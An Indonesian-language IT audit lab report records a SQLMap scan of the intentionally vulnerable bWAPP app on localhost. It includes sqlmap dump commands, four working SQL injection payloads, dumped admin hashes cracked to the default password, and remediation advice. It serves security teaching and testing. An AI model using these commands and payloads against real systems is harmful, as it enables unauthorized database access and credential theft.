

SQL Injection Scan Evidence — SQLMap

CRITICAL

Target: OWASP/bWAPP (Buggy Web Application) — Lab IT Audit

1. Informasi Pengujian

Tanggal Pengujian	24 Mei 2026
Tool	SQLMap v1.10.2.6#dev
Target URL	http://localhost:8080/sqli_1.php?title=test&action=search
Modul bWAPP	SQL Injection (GET/Search)
Security Level	Low (security_level=0)
Parameter Uji	title (GET)
Autentikasi	Session cookie (login: bee / bug)
Back-end DBMS	MySQL >= 5.1
Web Technology	PHP 5.5.9, Apache 2.4.7, Linux Ubuntu

2. Perintah yang Dijalankan

```
sqlmap -u "http://localhost:8080/sqli_1.php?title=test&action=search" \
--cookie="PHPSESSID=<session>; security_level=0" \
-p title --batch --dbs

sqlmap -u "http://localhost:8080/sqli_1.php?title=test&action=search" \
--cookie="PHPSESSID=<session>; security_level=0" \
-p title --batch -D bWAPP -T users --dump
```

3. Titik Injeksi yang Ditemukan

Parameter `title` terbukti **vulnerable** terhadap **4 teknik SQL Injection** (total 126 HTTP request):

Parameter: title (GET)

[1] Boolean-based blind

Payload: title=test' OR NOT 5481=5481#&action=search

[2] Error-based (EXTRACTVALUE)

Payload: title=test' AND EXTRACTVALUE(5330,CONCAT(0x5c,0x716a767071,(SELECT (ELT(5330=5330,1))),0x716a6a6b71))-- RIQm&action=search

```
[3] Time-based blind (SLEEP)
    Payload: title=test' AND (SELECT 8164 FROM (SELECT(SLEEP(5)))KHhD)-- hpae&action=search

[4] UNION query (7 columns)
    Payload: title=test' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,
            CONCAT(0x716a767071,...,0x716a6a6b71),NULL#&action=search
```

4. Database yang Berhasil Di-enumerasi

```
available databases [4]:
[*] bwAPP
[*] information_schema
[*] mysql
[*] performance_schema
```

5. Data Sensitif yang Berhasil Diekstrak

Tabel `bwAPP.users` berhasil di-dump — berisi kredensial 2 akun (keduanya **admin**):

id	login	email	admin	password (SHA1, unsalted)
1	A.I.M.	bwapp-aim@mailinator.com	1	6885858486f31043e5839c735d99457f045affd0
2	bee	bwapp-bee@mailinator.com	1	6885858486f31043e5839c735d99457f045affd0

6. Analisis Hash Password

Hash password disimpan menggunakan **SHA1 tanpa salt**, sehingga mudah dipecahkan:

```
$ echo -n "bug" | sha1sum
6885858486f31043e5839c735d99457f045affd0

=> Hash di database COCOK dengan SHA1("bug").
    Password plaintext kedua akun admin berhasil dipulihkan: "bug"
```

7. Penilaian Risiko

Aspek	Keterangan
Severity	CRITICAL
OWASP Top 10 2021	A03:2021 Injection (+ A02 Cryptographic Failures)
CVSS (estimasi)	9.8 (Critical)
Root Cause	Input parameter <code>title</code> dimasukkan langsung ke query SQL tanpa parameterized query / sanitasi

Impact	Akses baca penuh ke database, pencurian seluruh kredensial user termasuk akun admin
Faktor Pemberat	Password disimpan unsalted SHA1 sehingga mudah di-crack via rainbow table

8. Rekomendasi Remediasi

1. Gunakan **prepared statements / parameterized queries** (PDO atau MySQLi) pada seluruh query.
2. Terapkan **input validation** dan whitelist karakter pada parameter pencarian.
3. Ganti penyimpanan password ke algoritma **bcrypt / argon2 dengan salt unik**.
4. Terapkan prinsip **least privilege** pada akun database aplikasi (read-only bila memungkinkan).
5. Aktifkan **Web Application Firewall (WAF)** sebagai lapisan pertahanan tambahan.

Dokumen ini dihasilkan untuk keperluan mata kuliah IT Audit. Pengujian dilakukan pada lingkungan lab terisolasi (localhost). bWAPP adalah aplikasi yang sengaja dibuat rentan untuk tujuan edukasi. Jangan gunakan teknik ini pada sistem tanpa izin.